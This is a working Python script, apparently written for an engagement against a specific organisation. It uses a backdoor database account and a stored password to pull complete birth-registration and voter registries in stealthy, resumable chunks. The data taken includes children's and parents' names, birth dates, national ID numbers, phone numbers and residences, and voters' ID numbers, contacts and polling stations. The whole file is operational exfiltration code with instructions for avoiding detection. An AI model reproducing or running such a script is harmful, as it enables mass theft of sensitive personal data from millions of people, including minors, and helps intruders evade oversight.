#!/usr/bin/env python3
"""Full-registry dump — Npontu full-cycle (engagement one-off).

Chunked by id range (resume-safe: per-chunk .done checkpoint). Reads via
rep_listener backdoor. gz per chunk. OPSEC: steady single-connection COPY,
no parallel hammering. Target: full bdr late+early, full voters.
"""
import json, subprocess, gzip, hashlib, time
from pathlib import Path

ROOT = Path('/root/ir-assessment/redteam/gitlab_npontutechnologies_com')
OUT = ROOT / 'exfil_full'
LOG = ROOT / 'exfil_full.log'
PW = json.loads((ROOT/'.vault.json').read_text())['pg_backdoor']['pw']
ENV = {'PGPASSWORD': PW, 'PGCONNECT_TIMEOUT':'20', 'PATH':'/usr/bin:/bin'}
HOST, PORT, USER = '65.109.51.221', '5542', 'rep_listener'
CHUNK = 500000  # ids per chunk

def dump(db, table, minid, maxid, cols, label):
    d = OUT / label; d.mkdir(parents=True, exist_ok=True)
    n = 0
    start = minid
    while start <= maxid:
        end = min(start + CHUNK - 1, maxid)
        cname = f'{label}_{start:09d}_{end:09d}'
        ck = d / f'.{cname}.done'
        if ck.exists():
            start = end + 1; continue
        sql = f"COPY (SELECT {cols} FROM {table} WHERE id BETWEEN {start} AND {end} ORDER BY id) TO STDOUT WITH CSV;"
        t0 = time.time()
        r = subprocess.run(['psql','-h',HOST,'-p',PORT,'-U',USER,'-d',db,'--no-psqlrc','-c',sql],
                           capture_output=True, timeout=900, env=ENV)
        if r.returncode != 0:
            err = r.stderr.decode('utf-8','replace')[:200]
            print(f'[FAIL] {cname}: {err}', flush=True)
            LOG.open('a').write(f'FAIL {cname}: {err}\n')
            return  # stop this table; resume later
        raw = r.stdout
        p = d / f'{cname}.csv.gz'
        with gzip.open(p,'wb') as fh: fh.write(raw)
        h = hashlib.sha256(raw).hexdigest()
        ck.write_text(h)
        n += 1
        line = f'[{label}] chunk {start}-{end}: {len(raw)} bytes ({time.time()-t0:.0f}s)'
        print(line, flush=True); LOG.open('a').write(line + '\n')
        start = end + 1
    print(f'[+] {label} complete ({n} new chunks this run)')

def main():
    OUT.mkdir(exist_ok=True)
    LOG.open('a').write(f'=== full dump {time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime())} ===\n')
    bdr_cols = ('registration_no, child_first_name, child_middle_name, child_last_name, child_gender, child_dob, '
                'child_national_id_type, child_national_id_number, child_place_of_birth, child_birth_institution, '
                'mother_first_name, mother_last_name, mother_dob, mother_national_id_number, mother_phone_number, '
                'mother_occupation, mother_residence, father_first_name, father_last_name, father_dob, '
                'father_national_id_number, father_phone_number, father_occupation, father_residence, '
                'informant_first_name, informant_last_name, informant_national_id_number, informant_phone_number, '
                'district_registration_authority, region_registration_authority, date_of_registration, created_at')
    dump('bdr_unified', 'late_birth_registrations', 1, 11706023, bdr_cols, 'bdr_late_full')
    dump('bdr_unified', 'early_birth_registrations', 1, 2999933, bdr_cols, 'bdr_early_full')
    voters_cols = ('voter_id, surname, other_names, father_name, mother_name, contact, age, date_of_birth, gender, '
                   'town, region, district, constituency, ghanacard_id_number, polling_station_name, '
                   'polling_station_code, registration_date, period')
    dump('votersdb', 'voters', 1, 18685782, voters_cols, 'voters_full')
    print('[+] ALL FULL DUMPS COMPLETE')

if __name__ == '__main__':
    main()
